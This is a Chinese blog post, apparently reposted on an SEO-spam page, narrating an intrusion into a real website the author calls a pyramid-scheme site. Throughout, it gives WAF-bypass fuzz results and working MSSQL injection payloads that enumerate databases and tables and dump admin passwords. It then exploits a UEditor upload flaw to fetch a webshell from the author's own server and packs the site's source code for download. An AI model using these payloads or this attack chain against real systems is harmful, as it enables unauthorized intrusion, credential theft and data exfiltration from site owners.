Warning: Illegal string offset 'download' in /www/wwwroot/www.oilcn.net.cn/wp-content/themes/wpzt-hot/template-parts/single/single-pc.php on line 4

存在sql注入的网站源码下载_sql注入网站

22次
2021-06-15

一、前言

如题,由于是在已知有一处sql注入的状况下才接手进行的后续操作,因此上面信息收集则一笔带过。

二、信息收集

目标是个本地的传销站点其大致信息为IIS+ASP.NET+安全猫、腾讯云。

三、Bypass Sql3.1 Fuzz

空格		error
加号		未拦截
等号		error
单引号		error
双引号		未拦截
双括号		未拦截
+select		error
select	未拦截
selectuserfrom	未拦截
selectuserfromadmin	拦截
convert()	未拦截

根据如上检测可以看出程序原本还有过滤,error为程序自身的过滤。可以借助IIS处理%符号的模式跨过部份符号,例如下划线使用 加号使用%2b等。再按照检测的结果,可以先运用convert转化报错获取一部分信息。

goodscontent.aspx?gid=convert(int,@@version)#版本信息
goodscontent.aspx?gid=convert(int,db_name())#数据库信息
goodscontent.aspx?gid=convert(int,user_name())#当前数据库用户
……
tips:可以通过遍历db_name(1)中的数字获取其他库名

得到以下信息:

ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400
数据库版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
用户名:sa
计算机名:10_*_76_*\SQLEXPRESS      10.*.76.*
当前库:pan20170823
所有库名:
pan20170823
master
tempdb
model
msdb
ReportServer$SQLEXPRESS
ReportServer$SQLEXPRESSTempDB

存在sql注入的网站源码下载_sql注入网站 (https://www.oilcn.net.cn/) 综合教程 第1张

再往前就是获取表的信息

goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECTtop1CAST(COUNT(*)ASnvarchar(4000))FROMinformation_schema.TABLES)%2bCHAR(58)%2bCHAR(58)))#获取表总个数

由于我只会简略的select from所以一直未能获取表名,如果有其他坐姿还望给扫盲下。

3.2 万金油

此时陷入僵局,后来想到在404大鳄的一篇bypass安全狗的文章中提及过在mssql中注释加换行同样创立,遂构造之。

goodscontent.aspx?gid=--/*%0a(selecttop1table_nameFROMinformation_schema.tables)--%20*/
PS:由于注入点已经使用了convert做了数据转换,后续直接防入查询即可

获取至第一个表名:jsrecord

由于还是没能跨过单冒号跟等号,我仍然用不了not in与for xml path来爆后续的表名,这又碰触至了我知识盲点,因此只能查阅大量文章案例,最终构造出如下句子。

/goodscontent.aspx?gid=--/*%0a(SELECTTOP1table_nameFROMinformation_schema.tablesWHEREtable_nameNOTIN(SELECTTOP11table_nameFROMinformation_schema.columns))--%20*/

此时只须要递归top的数值即可,例如:

存在sql注入的网站源码下载_sql注入网站 (https://www.oilcn.net.cn/) 综合教程 第2张

/goodscontent.aspx?gid=--/*%0a(SELECTTOP1table_nameFROMinformation_schema.tablesWHEREtable_nameNOTIN(SELECTTOP80table_nameFROMinformation_schema.columns))--%20*/

通过不断的递归数值发觉还是存在问题,举个实例,即 1-20、200-209,334-345返回同一个表名,存在大量重复与无序的状况,但可以通过burp中intruder->Grep-Extact功能来解决,操作如下:首先设置好intruder对001-600进行递归(超过600多后就没哪些内容了)

然后使用Grep-Extact提取表名。

保存结果后去重即可。

和上面获取至的表总个数是一致的。

解出来就是获取memberadmin表中的列名与内容,但在此之前我还是习惯性的看了下后台的网页源代码。

如图,盲猜列名txt_nickname、nickname、txt_password、password

/goodscontent.aspx?gid=--/*%0a(selecttop1nicknamefrommemberadmin)--%20*/

/goodscontent.aspx?gid=--/*%0a(selecttop1passwordfrommemberadmin)--%20*/

三、后台getshell

存在sql注入的网站源码下载_sql注入网站 (https://www.oilcn.net.cn/) 综合教程 第3张

登陆后台

经检测后发觉信息管理处可以公布咨询,上传图片。通过更改除去filename=”1.aspx”中的双引号跨过安全猫,但未能跨过程序自身的检查。

Content-Disposition: form-data; name="up_picture"; filename=xss.jpg .aspx

不过得悉上传组件为ueditor,且.net版本存在上传漏洞

poc如下

shell addr:

并在自己的服务器上打算好shell(注意过猫),名称为a.gif,然后填入shell地址

https://o0o0.club/a.gif?.aspx

提交后即可得到shell路径

四、打包源码与数据库

存在sql注入的网站源码下载_sql注入网站 (https://www.oilcn.net.cn/) 综合教程 第4张

在有了shell以后要做的事情就更明晰了,即是打包源码与数据库,由于只须要这两样操作,相对于不需要很大的权限,避免操作不当触发警告。因此我选择先通过shell来进行打包操作。

源码

这里运用的是自行上传的rar.exe来分卷打包源码存在sql注入的网站源码下载,在此之前尝试过7z.exe(目标服务器上已安装)、makecab 但疗效并不理想,姿势不够还望扫盲。

rar.exe a -r -v50m -m5 pan20170823 *.*
#a 压缩
#-r 打包子目录
#-v 分卷大小
#-m 压缩等级
#pan20170823目标目录
#*.* 打包后文件名为 pan20170823.part*.rar

最终以每秒100k的速率下载完成。

数据库

略过,后台自带备份功能

坑点:后台的备份文件后缀为zip,下载回去总是提示文件受损,一直以为备份功能有问题存在sql注入的网站源码下载,后来发觉文件头是TAPE。。。。

五、本地搭建

本地搭建的环境为 Windows server 2012+IIS8+SQL Server 2008,简单讲讲0.0

存在sql注入的网站源码下载_sql注入网站 (https://www.oilcn.net.cn/) 综合教程 第5张

SQL Server

安装过程略过导出数据

新建数据库,然后通过原设备还原数据

还原成功

IIS与ASP.NET

安装一笔带过,左边拉满就行,简单粗暴

添加站点

最好对应目标版本

修改源码中的配置文件

访问即可

END

发表评论